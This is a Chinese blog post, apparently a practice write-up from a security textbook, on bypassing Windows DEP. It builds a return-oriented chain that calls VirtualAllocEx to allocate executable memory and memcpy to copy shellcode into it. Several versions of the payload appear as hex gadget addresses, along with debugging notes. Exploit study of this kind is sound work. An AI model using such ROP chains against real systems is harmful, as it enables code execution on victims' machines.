RET2LIBC 练习(3) -- VIRTUALALLOC
国庆假期没事做了几道pwn题练手,等有时间在贴出pwn题的分析。
利用VIRTUALALLOC的方法绕过DEP其实和之前的方法大同小异了,只是VIRTUALALLOC开辟了一段新的可执行的内存空间,然后在复制shellcode,比修改内存属性要麻烦一点点。
VirtualAlloc函数说明:
lpAddress: 申请内存的起始地址,实验选了0x00030000
dwSize: 申请的内存大小,实验选择0XFF,根据shellcode的大小确定
flAllocationType: 申请内存的类型,固定0x00001000
flProtect: 申请内存的属性,可读可写可执行,固定0x00000040
一样先用\x90覆盖掉EIP
现在的ebp和eip都被覆盖了,所以先修正ebp,用push esp; pop ebp
"\xe5\xe0\x72\x7d" //push esp; pop ebp; retn 4
"\x92\x90\x90\x90"
"\x93\x90\x90\x90"
"\x94\x90\x90\x90"
"\x95\x90\x90\x90"
"\x96\x90\x90\x90"
"\x97\x90\x90\x90"
继续走
此时的esp=ebp+8,找到VirtualAlloc函数的入口点
确定了ebp以后,VirtualAlloc四个参数的位置就很好确定了,四个参数都是可以确定的值,所以堆栈现在可以这样布置
"\xe5\xe0\x72\x7d" //push esp; pop ebp; retn 4
"\xf4\x9a\x80\x7c" // VirtualAllocEx
"\x93\x90\x90\x90"
"\xff\xff\xff\xff" // -1
"\x00\x00\x03\x00" // 起始地址0x00300000
"\xff\x00\x00\x00" // 申请的空间0xff
"\x00\x10\x00\x00" // 固定参数0x1000
"\x40\x00\x00\x00" // 0x40可读可写可执行
直接将eip指向VirtualAllocEx函数的入口点,查看堆栈看到参数的放置是没有问题的
接下来执行VirtualAllocEx函数,看到eax=0x00003000,表示函数执行成功,但执行完VirtualAllocEx以后程序的控制权需要pop ebp; retn 10以后才能拿到
执行完retn 10以后的堆栈情况
看到ebp又被破坏了,先不管,查看memcpy函数再决定是否需要修正ebp,void *memcpy(void *dest, const void *src, size_t n);从源src所指的内存地址的起始位置开始拷贝n个字节到目标dest所指的内存地址的起始位置中,所以只需要动态确定src的地址即可,看到又用了ebp,所以还得修正ebp
是不是接下来一条指令直接push esp; pop ebp; 就可以了?经过我自己的调试发现这样在程序的后续走的流程中堆栈会出问题,会丧失对程序的控制权,因为memcpy参数填充的问题,如果直接push了源复制地址(这里可以选择esp),在做一些操作的话是不可行的,所以最好的方法是push esp; jmp eax; 这样可以不丢失程序的控制权,那么可以找到一条pop eax; retn 的指令,先保存一个eax的值,这个eax的值,就是memcpy的起始地址,然后在修正ebp
"\xe5\xe0\x72\x7d" //push esp; pop ebp; retn 4
"\xf4\x9a\x80\x7c" // VirtualAllocEx
"\x93\x90\x90\x90"
"\xff\xff\xff\xff" // -1
"\x00\x00\x03\x00" // 起始地址0x00300000
"\xff\x00\x00\x00" // 申请的空间0xff
"\x00\x10\x00\x00" // 固定参数0x1000
"\x40\x00\x00\x00" // 0x40可读可写可执行
"\x91\x90\x90\x90"
"\xdd\x6f\xfa\x77" // pop retn
"\x93\x90\x90\x90"
"\x94\x90\x90\x90"
"\x95\x90\x90\x90"
"\x96\x90\x90\x90"
"\x97\x90\x90\x90" // eax
"\xe5\xe0\x72\x7d" // push esp; pop ebp; retn 4
"\x91\x90\x90\x90"
"\x92\x90\x90\x90"
"\x93\x90\x90\x90"
"\x94\x90\x90\x90"
"\x95\x90\x90\x90"
执行完以后的堆栈情况
好,这时候看ebp的值,和mencpy所需要的参数,红框范围是memcpy的三个参数,第一个参数和第三个参数都是固定的,第二个参数是复制的起始地址,这里直接写进esp的值即可,所以还需要pop; pop; push esp; pop;pop ;retn 指令,很显然这种指令不好找也确实没有找到,所以选择一个pop; retn,这样可以使esp来到0x0012ff00的位置,然后下一步直接push esp; jmp eax,书中的eax指向的地址是pop pop retn,在将memcpy的起始地址放到第一个参数的下面4个字节,使得程序可以将memcpy的起始地址弹入eip,写文章的时候我才想到将eax的值直接放memcpy的起始地址也应该是可以的,经测试确实没有问题
"\xe5\xe0\x72\x7d" // push esp; pop ebp; retn 4
"\xf4\x9a\x80\x7c" // VirtualAllocEx
"\x93\x90\x90\x90"
"\xff\xff\xff\xff" // -1
"\x00\x00\x03\x00" // 起始地址0x00300000
"\xff\x00\x00\x00" // 申请的空间0xff
"\x00\x10\x00\x00" // 固定参数0x1000
"\x40\x00\x00\x00" // 0x40可读可写可执行
"\x91\x90\x90\x90"
"\xdd\x6f\xfa\x77" // pop retn
"\x93\x90\x90\x90"
"\x94\x90\x90\x90"
"\x95\x90\x90\x90"
"\x96\x90\x90\x90"
"\x9e\x37\xfa\x77" // eax
"\xe5\xe0\x72\x7d" // push esp; pop ebp; retn 4
"\xd2\x97\xf8\x77" // pop ebx; retn
"\x92\x90\x90\x90"
"\x00\x00\x03\x00" //0x00030000
"\xc6\xc6\xeb\x77"
"\xff\x00\x00\x00"
"\xb8\x1d\x92\x7c" //memcpy
Tips: 这个实验做起来还是很不错的,rop链的构造有点复杂和技巧,需要自己的一步一步手动的去调试,至于书上最后放了一些填充字符保证shellcode的正常执行,这个因机器而异的感觉,因为rop链里面的地址不一样,导致我的机器调试时并不需要加填充字符
RET2LIBC 练习(3) -- VIRTUALALLOC的更多相关文章
- OD: DEP - Ret2Libc via VirtualProtect() & VirtualAlloc()
一,通过 VirutalProtect() 修改内存属性绕过 DEP DEP 的四种工作模式中,OptOut 和 AlwaysOn 下所有进程默认都开启 DEP 保护,这里如果一个程序自身需要从堆栈中 ...
- OD: DEP & Ret2Libc
Data Execution Prevention,数据执行保护,专门用来弥补计算机对数据和代码混淆这一天然缺陷. DEP 的原理是将数据所在的内存页(默认的堆.各种堆栈页.内存池页)标记为不可执行, ...
- Ret2Libc 练习(1) -- ZwSetInformationProcess
花了两个小半晚上的时间将0day安全这本书的绕过DEP的第一个实验做了,这里做些笔记. Ret2libc 我现在自己的理解就是在开启DEP保护的情况下,在程序的其他的可执行位置找到可以满足我利用要求的 ...
- paip.提升性能3倍--使用栈跟VirtualAlloc代替堆的使用.
paip.提升性能3倍--使用栈跟VirtualAlloc代替堆的使用. #----为什么要设计堆栈,它有什么独特的用途? 为了性能 .... 堆比栈的性能 也有的说法为了编程容易...这个是错误的 ...
- 【Windows核心编程】VirtualAlloc 例子
// VirtualAlloc.cpp : 定义控制台应用程序的入口点. // #include "stdafx.h" #include <Windows.h> #in ...
- 关于内存的5个函数(malloc,VirtualAlloc,GlobalAlloc,LocalAlloc,HeapAlloc)
VirtualAlloc 该函数的功能是在调用进程的虚地址空间,预定或者提交一部分页,如果用于内存分配的话,并且分配类型未指定MEM_RESET,则系统将自动设置为0 一次分配 1PAGE 以上的 R ...
- c/c++关于内存分配的知识(非常详细的比较,且VirtualAlloc分配内直接在进程的地址空间中保留一快内存)
一个由c/C++编译的程序占用的内存分为以下几个部分 1.栈区(stack)— 由编译器自动分配释放 ,存放函数的参数值,局部变量的值等.其操作方式类似于数据结构中的栈. 2.堆区(heap) — 一 ...
- Win内存分配函数(GlobalAlloc/HeapAlloc/LocalAlloc/VirtualAlloc)
Win内存分配函数(GlobalAlloc/HeapAlloc/LocalAlloc/VirtualAlloc) 来源:http://blog.csdn.net/chunyexiyu/article/ ...
- Windows API 之 VirtualAlloc
Reserves, commits, or changes the state of a region of pages in the virtual address space of the cal ...
随机推荐
- AmazeUI定制
定制流程 下载 Amaze UI 源码:从 GitHub 选择版本,点击 Source code (zip) 下载并解压(定制只适用于 Amaze UI 2.x): 下载安装 Node.js: 全局安 ...
- vs2012 opencv 配置
一直没有学习C++,以为该语言太过old,所以要学习新的咚咚.一番学习归来,在进行OpenCV的时候,还是要用到这个C++.几次琢磨,终于能够配置好相关的开发环境和问题初步处理,有些内容得赶快记录下来 ...
- MySQL与Oracle的主要区别
Mysql与Oracle区别 1. Oracle是大型数据库而Mysql是中小型数据库,Oracle市场占有率达40%,Mysql只有20%左右,同时Mysql是开源的而Oracle价格非常高. 2. ...
- C语言状态机
转载声明 如果转载本博客内容,请联系869119842@qq.com,获得作者书面授权 前言 状态机的好处不用多说,自己百度去,但传统的编程模式,无论是C语言,或是硬件FPGA的Verilog都是采用 ...
- jfinal和httl结合
一导入jar包 二配置web.xml文件 三配置httl.properties文件 此时会出现如下问题: 解决办法: 加入 javassist-3.15.0-GA.jar包 再运行会有如下警告 解决办 ...
- linux命令:文件类型和扩展名
在linux系统中,一切皆是文件.Linux文件类型常见的有:普通文件.目录文件.字符设备文件和块设备文件.数据接口文件,符号链接文件,数据传送文件等. 1. 普通文件 用 ls -lh 来查看某个文 ...
- MyEclipse 10.7.1 最新版官网下载地址
MyEclipse 10.7.1(Windows): http://downloads.myeclipseide.com/downloads/products/eworkbench/indigo/in ...
- mysql多种备份方式比较及实现
Mysql备份 MySQL的备份和还原: 备份:存放为副本-->数据备份 RAID1,RAID10:保证硬件损坏而不会业务中止,不能保证逻辑上的损害 例如:DROP TABLE mydb.tb1 ...
- C#语法知识
接口: 接口可以包含方法.属性.事件.索引器或这四种成员类型的任意组合. 接口不能包含常量.字段.运算符.实例构造函数.析构函数或类型.当类或结构实现接口时,类或结构必须为该接口定义的所有成员提供实现 ...
- selenium win7+selenium2.0+python环境搭建